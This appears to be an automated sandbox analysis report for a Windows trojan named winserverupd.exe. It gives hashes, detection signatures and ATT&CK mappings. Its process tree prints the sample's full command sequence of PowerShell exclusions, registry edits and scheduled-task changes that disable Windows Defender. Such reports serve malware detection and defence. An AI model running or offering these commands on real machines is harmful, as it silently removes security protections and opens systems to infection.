4a009d7516245a7af1dbc74beacd149316212a8cbd045132e7f95118bfafcece

Analysis

max time kernel
269s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240221-en
resource tags

arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
submitted
18/03/2024, 15:12

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General

Target
winserverupd.exe
Size 91KB
Sample240318-slmnvscc5w
SHA256 c06da1d7ce6843074ae3a964dc8aa862151f2196c0e15964d3d9959a44ba89f8
MD5 607acc5a6b670bd144bf3897cda6b233
SHA1 24a2fc93216adb3543ee555473b2f61f333384d2
SHA512 75bd3c2fe2a6b96586e0e1ecf5d282d55f71fb9891961ca1dd6c6be90eaa9a196fd62c8343abfdb039e384895a593f2a01c725451c580980f238c40d764b4643
SSDEEP 1536:r7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfLx4fmSxL2MO2:nq6+ouCpk2mpcWJ0r+QNTBfLyfmSBR
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral10/files/0x000600000001abe0-1.dat	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe
3308	powershell.exe
3308	powershell.exe
3308	powershell.exe
2508	powershell.exe
2508	powershell.exe
2508	powershell.exe
3880	powershell.exe
3880	powershell.exe
3880	powershell.exe
3060	powershell.exe
3060	powershell.exe
3060	powershell.exe
3200	powershell.exe
3200	powershell.exe
3200	powershell.exe
596	powershell.exe
596	powershell.exe
596	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe
4308	powershell.exe
4308	powershell.exe
4308	powershell.exe
4944	powershell.exe
4944	powershell.exe
4944	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
4280	powershell.exe
4280	powershell.exe
4280	powershell.exe
2468	powershell.exe
2468	powershell.exe
2468	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeIncreaseQuotaPrivilege	4340	powershell.exe
Token: SeSecurityPrivilege	4340	powershell.exe
Token: SeTakeOwnershipPrivilege	4340	powershell.exe
Token: SeLoadDriverPrivilege	4340	powershell.exe
Token: SeSystemProfilePrivilege	4340	powershell.exe
Token: SeSystemtimePrivilege	4340	powershell.exe
Token: SeProfSingleProcessPrivilege	4340	powershell.exe
Token: SeIncBasePriorityPrivilege	4340	powershell.exe
Token: SeCreatePagefilePrivilege	4340	powershell.exe
Token: SeBackupPrivilege	4340	powershell.exe
Token: SeRestorePrivilege	4340	powershell.exe
Token: SeShutdownPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeSystemEnvironmentPrivilege	4340	powershell.exe
Token: SeRemoteShutdownPrivilege	4340	powershell.exe
Token: SeUndockPrivilege	4340	powershell.exe
Token: SeManageVolumePrivilege	4340	powershell.exe
Token: 33	4340	powershell.exe
Token: 34	4340	powershell.exe
Token: 35	4340	powershell.exe
Token: 36	4340	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeIncreaseQuotaPrivilege	4848	powershell.exe
Token: SeSecurityPrivilege	4848	powershell.exe
Token: SeTakeOwnershipPrivilege	4848	powershell.exe
Token: SeLoadDriverPrivilege	4848	powershell.exe
Token: SeSystemProfilePrivilege	4848	powershell.exe
Token: SeSystemtimePrivilege	4848	powershell.exe
Token: SeProfSingleProcessPrivilege	4848	powershell.exe
Token: SeIncBasePriorityPrivilege	4848	powershell.exe
Token: SeCreatePagefilePrivilege	4848	powershell.exe
Token: SeBackupPrivilege	4848	powershell.exe
Token: SeRestorePrivilege	4848	powershell.exe
Token: SeShutdownPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeSystemEnvironmentPrivilege	4848	powershell.exe
Token: SeRemoteShutdownPrivilege	4848	powershell.exe
Token: SeUndockPrivilege	4848	powershell.exe
Token: SeManageVolumePrivilege	4848	powershell.exe
Token: 33	4848	powershell.exe
Token: 34	4848	powershell.exe
Token: 35	4848	powershell.exe
Token: 36	4848	powershell.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeIncreaseQuotaPrivilege	2352	powershell.exe
Token: SeSecurityPrivilege	2352	powershell.exe
Token: SeTakeOwnershipPrivilege	2352	powershell.exe
Token: SeLoadDriverPrivilege	2352	powershell.exe
Token: SeSystemProfilePrivilege	2352	powershell.exe
Token: SeSystemtimePrivilege	2352	powershell.exe
Token: SeProfSingleProcessPrivilege	2352	powershell.exe
Token: SeIncBasePriorityPrivilege	2352	powershell.exe
Token: SeCreatePagefilePrivilege	2352	powershell.exe
Token: SeBackupPrivilege	2352	powershell.exe
Token: SeRestorePrivilege	2352	powershell.exe
Token: SeShutdownPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeSystemEnvironmentPrivilege	2352	powershell.exe
Token: SeRemoteShutdownPrivilege	2352	powershell.exe
Token: SeUndockPrivilege	2352	powershell.exe
Token: SeManageVolumePrivilege	2352	powershell.exe
Token: 33	2352	powershell.exe
Token: 34	2352	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 292	752	winserverupd.exe	75
PID 752 wrote to memory of 292	752	winserverupd.exe	75
PID 292 wrote to memory of 4340	292	cmd.exe	78
PID 292 wrote to memory of 4340	292	cmd.exe	78
PID 292 wrote to memory of 4848	292	cmd.exe	80
PID 292 wrote to memory of 4848	292	cmd.exe	80
PID 292 wrote to memory of 2352	292	cmd.exe	81
PID 292 wrote to memory of 2352	292	cmd.exe	81
PID 292 wrote to memory of 3308	292	cmd.exe	82
PID 292 wrote to memory of 3308	292	cmd.exe	82
PID 292 wrote to memory of 2508	292	cmd.exe	83
PID 292 wrote to memory of 2508	292	cmd.exe	83
PID 292 wrote to memory of 4372	292	cmd.exe	84
PID 292 wrote to memory of 4372	292	cmd.exe	84
PID 292 wrote to memory of 2448	292	cmd.exe	85
PID 292 wrote to memory of 2448	292	cmd.exe	85
PID 292 wrote to memory of 1932	292	cmd.exe	86
PID 292 wrote to memory of 1932	292	cmd.exe	86
PID 292 wrote to memory of 304	292	cmd.exe	87
PID 292 wrote to memory of 304	292	cmd.exe	87
PID 292 wrote to memory of 4780	292	cmd.exe	88
PID 292 wrote to memory of 4780	292	cmd.exe	88
PID 292 wrote to memory of 3964	292	cmd.exe	89
PID 292 wrote to memory of 3964	292	cmd.exe	89
PID 292 wrote to memory of 3900	292	cmd.exe	90
PID 292 wrote to memory of 3900	292	cmd.exe	90
PID 292 wrote to memory of 3984	292	cmd.exe	91
PID 292 wrote to memory of 3984	292	cmd.exe	91
PID 292 wrote to memory of 3460	292	cmd.exe	92
PID 292 wrote to memory of 3460	292	cmd.exe	92
PID 292 wrote to memory of 4340	292	cmd.exe	93
PID 292 wrote to memory of 4340	292	cmd.exe	93
PID 292 wrote to memory of 2948	292	cmd.exe	94
PID 292 wrote to memory of 2948	292	cmd.exe	94
PID 292 wrote to memory of 1952	292	cmd.exe	95
PID 292 wrote to memory of 1952	292	cmd.exe	95
PID 292 wrote to memory of 3108	292	cmd.exe	96
PID 292 wrote to memory of 3108	292	cmd.exe	96
PID 292 wrote to memory of 2224	292	cmd.exe	97
PID 292 wrote to memory of 2224	292	cmd.exe	97
PID 292 wrote to memory of 3968	292	cmd.exe	98
PID 292 wrote to memory of 3968	292	cmd.exe	98
PID 292 wrote to memory of 1068	292	cmd.exe	99
PID 292 wrote to memory of 1068	292	cmd.exe	99
PID 292 wrote to memory of 3152	292	cmd.exe	100
PID 292 wrote to memory of 3152	292	cmd.exe	100
PID 292 wrote to memory of 1956	292	cmd.exe	101
PID 292 wrote to memory of 1956	292	cmd.exe	101
PID 292 wrote to memory of 2836	292	cmd.exe	102
PID 292 wrote to memory of 2836	292	cmd.exe	102
PID 292 wrote to memory of 3880	292	cmd.exe	103
PID 292 wrote to memory of 3880	292	cmd.exe	103
PID 292 wrote to memory of 3060	292	cmd.exe	104
PID 292 wrote to memory of 3060	292	cmd.exe	104
PID 292 wrote to memory of 3200	292	cmd.exe	105
PID 292 wrote to memory of 3200	292	cmd.exe	105
PID 292 wrote to memory of 596	292	cmd.exe	106
PID 292 wrote to memory of 596	292	cmd.exe	106
PID 292 wrote to memory of 2976	292	cmd.exe	107
PID 292 wrote to memory of 2976	292	cmd.exe	107
PID 292 wrote to memory of 4308	292	cmd.exe	108
PID 292 wrote to memory of 4308	292	cmd.exe	108
PID 292 wrote to memory of 4944	292	cmd.exe	109
PID 292 wrote to memory of 4944	292	cmd.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\winserverupd.exe
"C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\62B1.tmp\62B2.tmp\62B3.bat C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\Admin\Appdata\Local" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\Admin\Appdata\Local" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2508
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4372
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:304
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4780
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3964
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3900
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:3984
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:3460
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:4340
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2948
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1952
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:3108
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:2224
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3968
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1068
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3152
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:2836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2468
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:4344
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:4600
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:4420
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:1332
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:4956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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